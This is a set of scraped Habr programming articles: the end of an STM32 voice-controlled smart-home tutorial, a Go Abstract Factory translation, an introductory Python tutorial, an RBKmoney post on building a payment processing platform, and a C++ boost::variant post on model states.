__HAL_RCC_GPIOG_CLK_ENABLE();
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(GPIOE, GPIO_PIN_5, GPIO_PIN_RESET);
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(GPIOF, LED3_Pin|GPIO_PIN_7|LED1_Pin, GPIO_PIN_RESET);
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(GPIOB, LED4_Pin|GPIO_PIN_2, GPIO_PIN_RESET);
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(GPIOG, GPIO_PIN_6|LED2_Pin|GPIO_PIN_11, GPIO_PIN_RESET);
/*Configure GPIO pin : PE2 */
GPIO_InitStruct.Pin = GPIO_PIN_2;
GPIO_InitStruct.Mode = GPIO_MODE_IT_RISING_FALLING;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOE, &GPIO_InitStruct);
/*Configure GPIO pins : PE3 PE4 PE6 */
GPIO_InitStruct.Pin = GPIO_PIN_3|GPIO_PIN_4|GPIO_PIN_6;
GPIO_InitStruct.Mode = GPIO_MODE_INPUT;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOE, &GPIO_InitStruct);
/*Configure GPIO pin : PE5 */
GPIO_InitStruct.Pin = GPIO_PIN_5;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(GPIOE, &GPIO_InitStruct);
/*Configure GPIO pins : LED3_Pin PF7 LED1_Pin */
GPIO_InitStruct.Pin = LED3_Pin|GPIO_PIN_7|LED1_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(GPIOF, &GPIO_InitStruct);
/*Configure GPIO pin : PA0 */
GPIO_InitStruct.Pin = GPIO_PIN_0;
GPIO_InitStruct.Mode = GPIO_MODE_INPUT;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOA, &GPIO_InitStruct);
/*Configure GPIO pins : LED4_Pin PB2 */
GPIO_InitStruct.Pin = LED4_Pin|GPIO_PIN_2;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(GPIOB, &GPIO_InitStruct);
/*Configure GPIO pin : PB10 */
GPIO_InitStruct.Pin = GPIO_PIN_10;
GPIO_InitStruct.Mode = GPIO_MODE_AF_PP;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_HIGH;
HAL_GPIO_Init(GPIOB, &GPIO_InitStruct);
/*Configure GPIO pin : PB11 */
GPIO_InitStruct.Pin = GPIO_PIN_11;
GPIO_InitStruct.Mode = GPIO_MODE_INPUT;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOB, &GPIO_InitStruct);
/*Configure GPIO pins : PG6 LED2_Pin PG11 */
GPIO_InitStruct.Pin = GPIO_PIN_6|LED2_Pin|GPIO_PIN_11;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(GPIOG, &GPIO_InitStruct);
/*Configure GPIO pin : PG8 */
GPIO_InitStruct.Pin = GPIO_PIN_8;
GPIO_InitStruct.Mode = GPIO_MODE_IT_RISING;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOG, &GPIO_InitStruct);
```
Finally, we write the following code in `c main()` function in order to execute our command decoding algorithm :
```
HAL_UART_Transmit(&huart1,"Ping->> AHURATUS VOICE ASSISTANT\r\n", sizeof("Ping->> AHURATUS VOICE ASSISTANT\r\n"), 1);
int i;
for (i=0; i<100;i++){
data[i] = '\0';
}
HAL_UART_Receive_DMA(&huart2, data, sizeof(data));
while (1)
{
if(strlen(data)>2){
if(strcasecmp( data,"Hey")==0){
HAL_UART_DMAStop(&huart2);
HAL_UART_Transmit(&huart1, "How can I help you ?\r\n", sizeof("How can I help you ?\r\n"), 100);//Users Signal Receieved!
int i;
for (i=0; i<100;i++){
data[i] = '\0';
}
HAL_UART_Receive_DMA(&huart2, data, sizeof(data));// Polling for new data
int FLG = 1;
while(!strlen(data)){
if(FLG){
HAL_UART_Transmit(&huart1, "Polling for Command ...\r\n", sizeof("Polling for Command ...\r\n"), 1);
}
FLG= 0;
//wait...
}
HAL_Delay(200);//short delay to recieve the rest of data;
if( (!strcasecmp(data,"turn on light one"))
||(!strcasecmp(data,"turn on light 1")) ){
HAL_GPIO_WritePin(LED1_GPIO_Port, LED1_GPIO_Port,GPIO_PIN_SET);
HAL_UART_Transmit(&huart1, "Light 1 Turned ON\r\n", sizeof("Light 1 Turned ON\r\n"), 1);
}else if( (!strcasecmp(data,"turn off light one"))
||(!strcasecmp(data,"turn off light 1")) ){
HAL_GPIO_WritePin(LED1_GPIO_Port, LED1_GPIO_Port,GPIO_PIN_RESET);
HAL_UART_Transmit(&huart1, "Light 1 Turned OFF\r\n", sizeof("Light 1 Turned OFF\r\n"), 1);
}else if( (!strcasecmp(data,"turn on light two"))
||(!strcasecmp(data,"turn on light 2")) ){
HAL_GPIO_WritePin(LED2_GPIO_Port, LED2_GPIO_Port,GPIO_PIN_SET);
HAL_UART_Transmit(&huart1, "Light 2 Turned ON\r\n", sizeof("Light 2 Turned ON\r\n"), 1);
}else if( (!strcasecmp(data,"turn off light two"))
||(!strcasecmp(data,"turn off light 2")) ){
HAL_GPIO_WritePin(LED2_GPIO_Port, LED2_GPIO_Port,GPIO_PIN_RESET);
HAL_UART_Transmit(&huart1, "Light 2 Turned OFF\r\n", sizeof("Light 2 Turned OFF\r\n"), 1);
}else if( (!strcasecmp(data,"turn on light three"))
||(!strcasecmp(data,"turn on light 3")) ){
HAL_GPIO_WritePin(LED3_GPIO_Port, LED3_GPIO_Port,GPIO_PIN_SET);
HAL_UART_Transmit(&huart1, "Light 3 Turned ON\r\n", sizeof("Light 3 Turned ON\r\n"), 1);
}else if( (!strcasecmp(data,"turn off light three"))
||(!strcasecmp(data,"turn off light 3")) ){
HAL_GPIO_WritePin(LED3_GPIO_Port, LED3_GPIO_Port,GPIO_PIN_RESET);
HAL_UART_Transmit(&huart1, "Light 3 Turned OFF\r\n", sizeof("Light 3 Turned OFF\r\n"), 1);
}else if( (!strcasecmp(data,"turn on light four"))
||(!strcasecmp(data,"turn on light 4")) ){
HAL_GPIO_WritePin(LED4_GPIO_Port, LED4_GPIO_Port,GPIO_PIN_SET);
HAL_UART_Transmit(&huart1, "Light 4 Turned ON\r\n", sizeof("Light 4 Turned ON\r\n"), 1);
}else if( (!strcasecmp(data,"turn off light four"))
||(!strcasecmp(data,"turn off light 4")) ){
HAL_GPIO_WritePin(LED4_GPIO_Port, LED4_GPIO_Port,GPIO_PIN_RESET);
HAL_UART_Transmit(&huart1, "Light 4 Turned OFF\r\n", sizeof("Light 4 Turned OFF\r\n"), 1);
}
}else{
HAL_UART_Transmit(&huart1, "ERROR-> INVALID Command\r\n", sizeof("ERROR-> INVALID Command\r\n"), 1);
}
HAL_UART_DMAStop(&huart2);
for (i=0; i<100;i++){ data[i] = '\0'; }//makes the buffer empty
HAL_UART_Receive_DMA(&huart2, data, sizeof(data));
}
}
```
Afterward, we use an android device to connect to our system by *Bluetooth*. we use *"Arduino Voice Control"* application in order to send voice to our system.
by Keyword "HEY" our system polls for the next commands and follows your voice commands as mentioned above.
Conclusion
----------
"AHURATUS Smart Home Voice Assistant" project can be used in order to have a simple and cheap functional smart home device by a few simple modifications in the circuit; such as:
* Using a MOSFET and an AC Isolation Circuit to control devices with AC working voltages
* Using Pulse Width Modulation (PWM) in order to have more control over the output
* Use TRIAC to have a adjustable light level setter
* Design a better application to have better interaction with user
* use Kinect or other Motion Detection Devices to measure make the device compatible with users gestures.
> Regards,
>
> [Ehsan Shaghaei](http://EhsanShaghaei.aHURATUS.IR)
>
> [Contact to me](mailto:E.Shaghaei@Innopolis.University) | https://habr.com/ru/post/475960/ | null | en | null |
# Шаблоны проектирования в Go — Абстрактная Фабрика
Привет, Хабр! Представляю вашему вниманию перевод очередной [статьи](https://shubhamzanwar.com/blog/design-patterns-abstract-factory-pattern/) [«Design Patterns: Abstract Factory Pattern»](https://shubhamzanwar.com/blog/design-patterns-abstract-factory-pattern/) автора Shubham Zanwar.
Абстрактная фабрика - это порождающий шаблон проектирования. Он используется, когда нам нужно создать семейство похожих продуктов. Давайте для понимания возьмем пример сети пиццерий.
Пиццерия
--------
Представим, что вы глава бизнеса и открываете сеть пиццерий по всему городу. Одной из ваших обязанностей является производство всех основных продуктов (в нашем случае это пиццы и жареный чесночный хлеб), которые будут представлять такие бренды как Домино и Жаровня (назовем их так - прим. перев.).
Есть множество способов как это сделать. Самый простой - создать фабрику по производству пицц каждого бренда и еще похожую фабрику для жаренного хлеба.
> Если вы еще не представляете, как работают фабрики, вы можете почитать [здесь](https://habr.com/ru/sandbox/146780/)
>
>
Проблема в том, что теперь мы доверяем пользователю выбор правильного типа пиццы и жаренного хлеба, который они хотят. Если они сделают ошибку в приготовлении пиццы Домино с чесночным хлебом Жаровни, ваши заказчики будут в ярости и вы можете потерять контракт с сетями этих брендов.
Не волнуйтесь, есть простой способ.
Вместо создания фабрики для каждого продукта (пиццы или жаренного хлеба), вы сможете создавать фабрику для каждого бренда. Обе фабрики будут производить пиццу и жареный хлеб.
Открыв пиццерию, вы передаете менеджеру фабрику Домино или Жаровню и можете отдохнуть, потому что теперь никто ничего не перепутает.
Давайте посмотрим на код. Перед тем как мы напишем фабрики, создадим сами продукты:
**Обычная пицца**
```
type iPizza interface {
GetPrice() float64
GetName() string
GetToppings() []string
}
type pizza struct {
name string
price float64
toppings []string
}
func (p *pizza) GetName() string {
return p.name
}
func (p *pizza) GetPrice() float64 {
return p.price
}
func (p *pizza) GetToppings() []string {
return p.toppings
}
```
**Пиццы наших брендов**
```
type pizzaHutPizza struct {
pizza
}
type dominosPizza struct {
pizza
}
```
**Жареный чесночный хлеб**
```
type iGarlicBread interface {
GetPrice() float64
GetName() string
}
type garlicBread struct {
name string
price float64
}
func (g *garlicBread) GetName() string {
return g.name
}
func (g *garlicBread) GetPrice() float64 {
return g.price
}
```
И наших брендов
```
type pizzaHutGarlicBread struct {
garlicBread
}
type dominosGarlicBread struct {
garlicBread
}
```
Мы создали оба наших продукта, которые реализуют общий интерфейс, облегчая конечному пользователю их потребление. Вот такой каламбур.
Теперь напишем сами фабрики, сначала общая
```
type iPizzaFactory interface {
createPizza() iPizza
createGarlicBread() iGarlicBread
}
```
Теперь наших брендов: Жаровня-фабрика и Домино-фабрика с унифицированной функциональностью
```
type PizzaHutFactory struct {}
func (p *PizzaHutFactory) createPizza(): iPizza {
return &pizzaHutPizza{
pizza{
name: "pepperoni",
price: 230.3,
toppings: []string{"olives", "mozzarella", "pork"},
},
}
}
func (p *pizzaHutFactory) createGarlicBread() iGarlicBread {
return &pizzaHutGarlicBread{
garlicBread{
name: "garlic bread",
price: 180.99,
},
}
}
```
```
type dominosFactory struct{}
func (d *dominosFactory) createPizza() iPizza {
return &dominosPizza{
pizza{
name: "margherita",
price: 200.5,
toppings: []string{"tomatoes", "basil", "olive oil"},
},
}
}
func (d *dominosFactory) createGarlicBread() iGarlicBread {
return &dominosGarlicBread{
garlicBread{
name: "cheesy bread sticks",
price: 150.00,
},
}
}
```
Мы можем выбирать любую фабрику и продолжить приготовление пиццы или жаренного хлеба и быть абсолютно уверенными, что любой производный продукт будет соответствующего семейства/бренда.
Мы почти у цели. Давайте обернем это в фабрику, которая будет возвращать нам фабрику по нашему желанию. Сбиты с толку? Тогда еще раз прочитайте предыдущее предложение.
Думайте о наших фабриках как о другом объекте. Основываясь на типе или пиццерии, которые мы хотим открыть (Жаровня или Домино), мы создаем нужную фабрику (просто другой объект). Чтобы автоматически получать эти "объекты", у нас будет своя фабрика.
Этот код поможем вам - **Фабрика фабрик**
```
func getPizzaFactory(chain string) (iPizzaFactory, error) {
if chain == "P" {
return &pizzaHutFactory{}, nil
}
if chain == "D" {
return &dominosFactory{}, nil
}
return nil, fmt.Errorf("Enter a valid chain type next time")
}
```
Надеюсь, стало понятнее.
Основное, что нужно запомнить: **шаблон абстрактная фабрика** реализует фабрику фабрик. Внутренние фабрики используются для создания продуктов нужного вида.
Вы можете найти этот код на [github](https://github.com/shubhamzanwar/design-patterns)
Пока | https://habr.com/ru/post/530096/ | null | ru | null |
# Pythonista. Привет, Python
### Предисловие
Доброго времени суток, Хабр. Запускаю короткий курс статей, который охватывает ключевые навыки Python, необходимые для изучения Data Science. Данные статьи подойдут для тех, кто уже имел опыт в программировании и хочет добавить Python в свою копилку навыков.
### Привет, Python!
Python был назван в честь популярного британского комедийного телешоу 1970-х "Летающий цирк Монти Пайтона", поскольку автор был поклонником этого телешоу.
Просто ради удовольствия попробуйте прочитать приведенный ниже код и предсказать, что он будет делать при запуске. (Если вы не знаете, это нормально!) Он приурочен скетчу Монти Пайтона про спам.
```
spam_amount = 0
print(spam_amount)
# Заказ спам, яйца, спам, спам, бекон и спам (еще 4 порции спама)
spam_amount = spam_amount + 4
if spam_amount > 0:
print("But I don't want ANY spam!")
viking_song = "Spam " * spam_amount
print(viking_song)
```
Output0
But I don`t want ANY spam!
Spam Spam Spam Spam
Эта забавная программа демонстрирует многие важные аспекты того, как выглядит код Python и как он работает. Давайте подробнее рассмотрим код.
```
spam_amount = 0
```
**Присвоение переменной**: здесь мы создаем переменную с именем spam\_amount и присваиваем ей значение 0 используя `=`, что называется оператором присваивания.
> **Обратите внимание**: если вы программировали на других языках (например, Java или C ++), вы могли заметить некоторые вещи, которые Python не требует от нас здесь:
>
> • нам не нужно объявлять `spam_amount` перед присвоением ему значения
>
> • нам не нужно указывать Python, на какой тип значения будет ссылаться `spam_amount`. Фактически, мы даже можем переназначить `spam_amount` для обозначения другого типа вещей, таких как строка или логическое значение.
>
>
```
print(spam_amount)
```
**Вызов функций**: `print` - это функция Python, которая отображает на экране переданное ей значение. Мы вызываем функции, добавляя круглые скобки после их имени и помещая входные данные (или аргументы) функции в эти скобки.
```
# Заказ спам, яйца, спам, спам, бекон и спам (еще 4 порции спама)
spam_amount = spam_amount + 4
```
Первая строка выше - это **комментарий**. В Python комментарии начинаются с символа `#`.
Далее мы видим пример переопределения. Переопределение значения существующей переменной выглядит так же, как создание новой переменной - по-прежнему используется оператор присваивания `=`.
В этом случае значение, которое мы присваиваем `spam_amount`, включает простое арифметическое действие с его предыдущим значением. Когда он встречает эту строку, Python оценивает выражение в правой части `=` (0 + 4 = 4), а затем присваивает это значение переменной в левой части.
```
if spam_amount > 0:
print("But I don't want ANY spam!")
viking_song = "Spam Spam Spam"
print(viking_song)
```
Мы будем говорить об «условных выражениях» позже, но, даже если вы никогда раньше не программировали, вы, вероятно, можете догадаться, что тут происходит. Python ценится за его комфортность кода и простоту.
Обратите внимание, как мы указываем, какой код принадлежит `if`. `"But I don't want ANY spam! "` выведется, только если `spam_amount` положительный. Но дальше (например, `print (viking_song)`) код должен выполняться несмотря ни на что. Как мы (и Python) это различаем?
Двоеточие (`:`) в конце строки `if` указывает, что начинается новый «блок кода». Последующие строки с отступом являются частью этого блока кода. Некоторые другие языки используют `{`фигурные скобки`}` для обозначения начала и конца блоков кода. Использование в Python значимых пробелов может удивить программистов, которые привыкли к другим языкам, но на практике это приводит к более согласованному и читаемому коду, чем языки, которые не требуют отступов блоков кода.
Последующие строки, относящиеся к `viking_song`, не имеют отступа с дополнительными 4 пробелами, поэтому они не являются частью блока кода `if`. Мы увидим больше примеров блоков кода с отступом позже, когда мы будем определять функции и использовать циклы.
Этот фрагмент кода также является нашим первым знакомством со **строками** в Python:
```
"But I don't want ANY spam!"
```
Строки можно помечать двойными или одинарными кавычками. (Но поскольку эта конкретная строка содержит символ одинарной кавычки, мы можем запутать Python, пытаясь заключить ее в строку, если мы не будем осторожны.)
```
viking_song = "Spam " * spam_amount
print(viking_song)
```
Оператор `*` можно использовать для умножения двух чисел (`3 * 3` равно 9), но, что довольно интересно, мы также можем умножить строку на число, чтобы получить версию, которая повторяется столько раз. Python разрешает несколько маленьких трюков, подобных этому, где операторы типа `*` и `+` имеют разное значение в зависимости от того, к чему они применяются. (Технический термин для этого - **перегрузка оператора**)
Числа и арифметика в Python
---------------------------
Мы уже видели пример переменной, содержащей число выше:
```
spam_amount = 0
```
«Число» - неформальное название для такого рода вещей, но если мы хотим быть более техническими, мы можем спросить Python, как он описывает тип вещи, которым является `spam_amount`:
```
type(spam_amount)
```
```
int
```
Здесь `int` - сокращение от integer. Есть еще один вид чисел, с которым мы часто сталкиваемся в Python:
```
type(19.95)
```
```
float
```
`float` - это число с плавающей точкой, которое очень полезно для представления таких вещей, как вес или пропорции.
`type()` - еще одна встроенная функция, которую мы встречаем (после `print()`), и ее следует запомнить. Очень полезно иметь возможность спросить Python «к какому типу вещей относиться это?».
Естественное желание действий с числами - выполнять арифметические операции. Мы видели оператор `+` для сложения и оператор `*` для умножения. Python также покрывает остальные основные кнопки вашего калькулятора:
| | | |
| --- | --- | --- |
| **Оператор** | **Название** | **Описание** |
| `a + b` | Сложение | Сумма `a` и `b` |
| `a - b` | Вычитание | Разница `a` и `b` |
| `a * b` | Умножение | Произведение `a` и `b` |
| `a / b` | Истинное деление | Частное `a` и `b` |
| `a // b` | Деление с округлением | Частное `a` и `b`, без дробных частей |
| `a % b` | Модуль | Целочисленный остаток от деления `a` на `b` |
| `a ** b` | Возведение в степень | `a` в степени `b` |
| `-a` | Отрицание | Противоположное к `а` |
Одно интересное наблюдение заключается в том, что, в то время как ваш калькулятор, вероятно, имеет только одну кнопку для деления, Python может выполнять два вида. «Истинное деление» - это именно то, что делает ваш калькулятор:
```
print(5 / 2)
print(6 / 2)
```
```
2.5
3.0
```
Это всегда дает нам `float`.
Оператор `//` дает результат, который округляется вниз до целого числа.
```
print(5 // 2)
print(6 // 2)
```
```
2
3
```
Вы можете придумать, где это будет полезно?
#### Порядок действий
В арифметике, которую мы изучали в школе, есть соглашения о порядке, в котором выполняются операции. В англоязычной литературе можно встретить технику запоминания порядка с помощью мнемоники, такой как **PEMDAS** - скобки, возведение в степень, умножение/деление, сложение/вычитание (**P**arentheses, **E**xponents, **M**ultiplication/**D**ivision, **A**ddition/**S**ubtraction).
Python следует аналогичным правилам относительно того, какие вычисления выполнять в первую очередь. В основном они интуитивно понятны.
```
8 - 3 + 2
```
```
7
```
```
-3 + 4 * 2
```
```
5
```
Иногда порядок операций по умолчанию не соответствует нашему желанию:
```
hat_height_cm = 25
my_height_cm = 190
# Какой у меня рост в метрах в шляпе?
total_height_meters = hat_height_cm + my_height_cm / 100
print("Height in meters =", total_height_meters, "?")
```
```
Height in meters = 26.9 ?
```
Здесь вам пригодятся круглые скобки. Вы можете добавить их, чтобы Python вычислял подвыражения в необходимом вам порядке.
```
total_height_meters = (hat_height_cm + my_height_cm) / 100
print("Height in meters =", total_height_meters)
```
```
Height in meters = 2.15
```
#### Встроенные функции для работы с числами
Функции `min` и `max` возвращают минимум и максимум своих аргументов соответственно:
```
print(min(1, 2, 3))
print(max(1, 2, 3))
```
```
1
3
```
Функция `abs` возвращает абсолютное значение своего аргумента:
```
print(abs(32))
print(abs(-32))
```
```
32
32
```
Помимо имен двух основных числовых типов Python, `int` и `float` также могут вызываться как функции, которые преобразуют свои аргументы в соответствующий тип:
```
print(float(10))
print(int(3.33))
# Их даже можно вызывать для строк
print(int('807') + 1)
```
```
10.0
3
808
```
Послесловие
-----------
На этом первая статься подошла к концу. Спасибо всем кто читал и уделял время. Также надеюсь, что вы вынесли какую-либо полезную информацию и научились чему-то новому. Продолжайте развиваться и узнавать новое! До скорых встреч. | https://habr.com/ru/post/543650/ | null | ru | null |
# Как сделать платежную систему своими руками
[](https://habr.com/company/rbkmoney/blog/416897/)
Привет, Хабр! Мы в RBKmoney новый платежный процессинг написали. С нуля. Ну не мечта ли?
Правда, как всегда, на пути к мечте, большую часть пути пришлось проплыть по рекам с подводными камнями, часть — проехать на собственноручно собранных велосипедах. На этом пути мы получили множество интересных и полезных знаний, которыми хотели бы поделиться с вами.
Мы расскажем, как написали весь процессинг RBKmoney Payments, так мы его назвали. Как делали его устойчивым к нагрузкам и сбоям оборудования, как придумали возможность его практически линейного горизонтального масштабирования.
И, под конец, как мы со всем этим взлетели, не забыв о комфорте тех, кто находится внутри — наша платежная система создавалась с мыслью о том, чтобы быть интересной в первую очередь для разработчиков, тех, кто ее создает.
Этим постом мы открываем цикл статей, в которых будем делиться как конкретными техническими вещами, подходами и реализациями, так и опытом разработки больших распределенных систем в принципе. Первая статья — обзорная, в ней мы обозначим вехи, которые будем раскрывать подробно, а иногда — очень подробно.
**Disclaimer**Со дня последней публикации в нашем блоге прошло ни много ни мало 5 лет. За это время наша команда разработки заметно обновилась, у руля компании теперь новые люди.
Когда создаешь платежную систему, нужно учесть кучу самых разных вещей и разработать множество решений. От процессинга, способного обработать тысячи одновременных параллельных запросов на списание денег, до удобных и понятных для людей интерфейсов. Банально, если не учитывать мелкие нюансы.
Суровая реальность такова, что за платежным процессингом находятся платежные организации, вовсе не с распростертыми объятиями принимающие такой трафик, а иногда даже просящие "присылать нам не более 3 запросов в секунду". А на интерфейсы смотрят люди, которые, может быть, впервые в интернете решились что-то оплатить. И любой косяк UX, непонятность и задержка — это повод запаниковать.
Корзина, в которую можно положить покупки даже во время торнадо
---------------------------------------------------------------
Наш подход в создании платежного процессинга заключается в том, чтобы предоставить возможность ***всегда*** запустить платеж. Без разницы, что творится у нас внутри — сгорел сервер, админ запутался в сетях, отключили электричество в здании/районе/городе, у нас дизель хм… потеряли. Неважно. Сервис все равно позволит запустить платеж.
Подход звучит знакомо, не так ли?
Да, мы вдохновлялись концепцией, описанной в [Amazon Dynamo Paper](https://en.wikipedia.org/wiki/Dynamo_(storage_system)). Парни из Амазона тоже строили все так, что пользователь должен иметь возможность положить книжку в корзину, какая бы жуть ни творилась по ту сторону его монитора.
Конечно, мы не нарушаем законы физики и не придумали как опровергнуть [CAP-теорему](https://en.wikipedia.org/wiki/CAP_theorem). Не факт, что платеж тут же и проведется — ведь могут быть неполадки и на стороне банков, но запрос сервис создаст, и пользователь увидит, что все сработало. Да и нам до идеала еще десяток листингов беклога с техническим долгом, чего греха таить, можем и 504 ответить изредка.
Заглянем в бункер, раз торнадо за окном
---------------------------------------
Нужно было сделать наш платежный шлюз доступным всегда. Возросла ли пиковая нагрузка, что-то упало или ушло на обслуживание в ДЦ — конечный пользователь не должен этого замечать вообще.
Это решили минимизацией мест, где хранится состояние системы — очевидно, что stateless-приложения легко масштабировать до горизонта.
Сами приложения у нас крутятся в Docker-контейнерах, логи из которых мы надежно сливаем в центральное Elasticsearch-хранилище; друг друга они находят через Service Discovery, а данные передают по IPv6 внутри ***Макросервиса***.
Все собранные и работающие совместно микросервисы вместе с сопутствующими службами являются Макросервисом, который предоставляет вам в итоге платежный шлюз, каким вы его видите снаружи в виде нашего публичного API.
За порядком приглядывает SaltStack, в котором описано все состояние Макросервиса.
Мы еще вернемся с подробным описанием всего этого хозяйства.
С приложениями легче.
А вот если хранить где-то состояние, то обязательно в такой базе, в которой минимальна цена выхода из строя части нод. Еще чтобы в ней не было мастер-нод с данными. Чтобы могла с предсказуемым временем ожидания на запросы отвечать. Это тут мечтают? Тогда еще чтобы ее обслуживать особо не надо было, и чтобы разработчикам-эрлангистам нравилась.
Да, разве мы еще не сказали, что вся онлайн-часть нашего процессинга на Эрланге написана?
Как многие уже, наверное, догадались выбора у нас как такового и не было.
Все состояние онлайн-части нашей системы хранится в [Basho Riak](https://en.wikipedia.org/wiki/Riak). О том, как готовить Riak и не сломать себе пальцы (потому что мозг вы сломаете обязательно), мы еще расскажем, а пока продолжим дальше.
Где деньги, Лебовски?
---------------------
Если взять бесконечное количество денег, возможно, удастся построить бесконечно надежный процессинг. Но это не точно. Да и денег нам особо не выделили. В аккурат на сервера уровня "качественный, но Китай".
К счастью, это привело к положительным эффектам. Когда понимаешь, что тебе как разработчику, будет несколько затруднительно получить 40 физических ядер, адресующих 512GB оперативки, приходится выкручиваться и писать маленькие приложения. Зато их можно развернуть сколько угодно много — сервера все-таки недорогие.
Еще в нашем мире любые сервера имеют тенденцию не возвращаться после перезагрузки к жизни, или даже ловить отказ блоков питания в самый неподходящий момент.
С оглядкой на все эти ужасы, мы научились строить систему с расчетом на то, что любая ее часть **обязательно** внезапно сломается. Сложно припомнить, вызвал ли этот подход какие-либо неудобства для разработки онлайн-части процессинга. Возможно, это как-то связано с философией эрлангистов и их знаменитой концепцией [LetItCrash](http://wiki.c2.com/?LetItCrash)?
Но с серверами легче.
Мы разобрались, где размещать приложения, их много, они масштабируются. База тоже распределенная, мастера нет, сгоревшие ноды не жалко, можем быстро нагрузить телегу серверами, приехать в ДЦ и покидать их вилами в стойки.
Но с дисковыми массивами так не поступить! Выход из строя даже небольшого дискового хранилища — это отказ части платежного сервиса, чего мы себе позволить не можем. Дублировать СХД? Слишком нецелесообразно.
А дорогие брендовые дисковые массивы мы себе позволить не хотим. Даже из простого чувства прекрасного — они не будут смотреться рядом со стойками, где ровными рядами набиты ноунеймы. Да и неоправданно дорого это все стоит.
В итоге мы решили не использовать дисковых массивов вообще. Все блочные устройства у нас крутятся под [CEPH](https://ceph.com/) на одинаковых недорогих серверах — мы можем ставить их в стойки в больших, нужных нам количествах.
С сетевым железом подход не сильно отличается. Берем середнячков, получаем хорошее, подходящее под задачи оборудование совсем недорого. На случай выхода из строя свитча — параллельно работает второй, а на серверах настроен OSPF, сходимость обеспечена.
Таким образом у нас получилась удобная, отказоустойчивая и универсальная система — стойка, набитая простыми дешевыми серверами, несколько свитчей. Следующая стойка. И так далее.
Просто, удобно и в целом — очень надежно.
Прослушайте правила поведения на борту
--------------------------------------
Нам никогда не хотелось приходить в офис, делать работу и получать оплату деньгами. Финансовая составляющая очень важна, но она не заменит удовольствия от хорошо сделанной работы. Мы уже писали платежные системы, в том числе и на предыдущих местах работы. И примерно представляли, чем мы не хотим заниматься. А не хотелось стандартных, но проверенных решений, не хотелось скучного энтерпрайза.
И мы решили подтянуть в работу максимальный свежак. В разработке платежных систем часто ограничивают новые решения, мол, зачем вам докер вообще, давайте-ка без него. И вообще. Несекьюрно. Запретить.
Мы решили ничего не запрещать, а наоборот, поощрять все новое. Так у нас в продакшене построился Макросервис из огромной кучи приложений в докер-контейнерах, управляемый через [SaltStack](https://saltstack.com/), кластеры Riak'а, [Consul](https://www.consul.io/) в качестве Service Discovery, оригинальная реализация трассировки запросов в распределенной системе и множество других замечательных технологий.
И все это безопасно настолько, что можно без стыда публиковать программу Bugbounty на [hackerone.com](https://hackerone.com/rbkmoney).
Разумеется, первые же шаги по этой дороге оказались усеяны каким-то уж совсем неприличным количеством граблей. Как мы по ним пробежались, мы обязательно расскажем, также расскажем, например, почему у нас нет тестовой среды, а весь процессинг можно развернуть на ноутбуке разработчика простым `make up`.
Как и еще кучу интересных вещей.
Спасибо, что выбрали нашу авиакомпанию!
P.S.: Original content! Все фотографии в посте — сцены из жизни нашего офиса. | https://habr.com/ru/post/416897/ | null | ru | null |
# Использование boost::variant для описания состояний модели
В моделях данных очень часто требуется хранить некоторые переключаемые состояния. Классический способ в С++ для этого — использование перечислимых типов enum.
Например, если у вас в программе пользователь может переключаться между двумя экранами, вы заводите enum screen { screen\_one, screen\_two }; и переменную screen cur\_screen\_. Отрисовщик должен получить у модели «текущий выбранный экран», и затем отрисовать его, запрашивая у модели дополнительные данные, относящиеся именно к этому экрану. Что-то вроде:
> `**switch** (model.cur_screen())
>
> {
>
> **case** screen\_one:
>
> model.get_screen_one_elements();
>
> ...
>
> **case** screen\_two:
>
> model.get_screen_two_elements();
>
> ...
>
> }`
При использовании такой модели, программист может запрашивать данные, которые для текущего состояния совершенно не актуальны. Например, вызвать метод get\_screen\_two\_elements() для получения списка элементов второго экрана, когда текущий экран — первый. Хорошей практикой является использование ассертов вида ASSERT(cur\_screen\_ == screen\_one) в методах, зависимых от конкретного экрана. Это обеспечивает некоторый контроль времени выполнения.
Но есть способ обеспечить контроль времени компиляции и более явное разделение состояний с помощью boost::variant.
При таком подходе screen\_one и screen\_two — это не элементы enum'a, а полноценные классы. И все, зависимые от этого состояния данные и методы — переходят внутрь класса состояния.
Больше нет метода get\_screen\_one\_elements() в основной модели, теперь есть метод get\_elements() у класса screen\_one. Текущий выбранный экран сохраняется в переменной типа boost::variant.
> `**class** **screen\_one**
>
> {
>
> **public**:
>
> **const** std::vector<screen_one_elements>& get_elements() **const**
>
> {
>
> **return** ...;
>
> }
>
> };
>
>
>
> **class** **screen\_two**
>
> {
>
> **public**:
>
> **const** std::vector<screen_two_elements>& get_elements() **const**
>
> {
>
> **return** ...;
>
> }
>
> };
>
>
>
> **class** **cool\_data\_model**
>
> {
>
> **public**:
>
> **typedef** boost::variant<screen_one, screen_two> screen;
>
>
>
> **template**<**typename** NewScreenType>
>
> void change_screen(**const** NewScreenType& new_val)
>
> {
>
> cur_screen_ = new_val;
>
> }
>
>
>
> **template**<**typename** VisitorType>
>
> VisitorType::result_type apply_visitor(**const** VisitorType& visitor)
>
> {
>
> **return** boost::apply_visitor(visitor, cur_screen_);
>
> }
>
> **private**:
>
> screen cur_screen_;
>
> };`
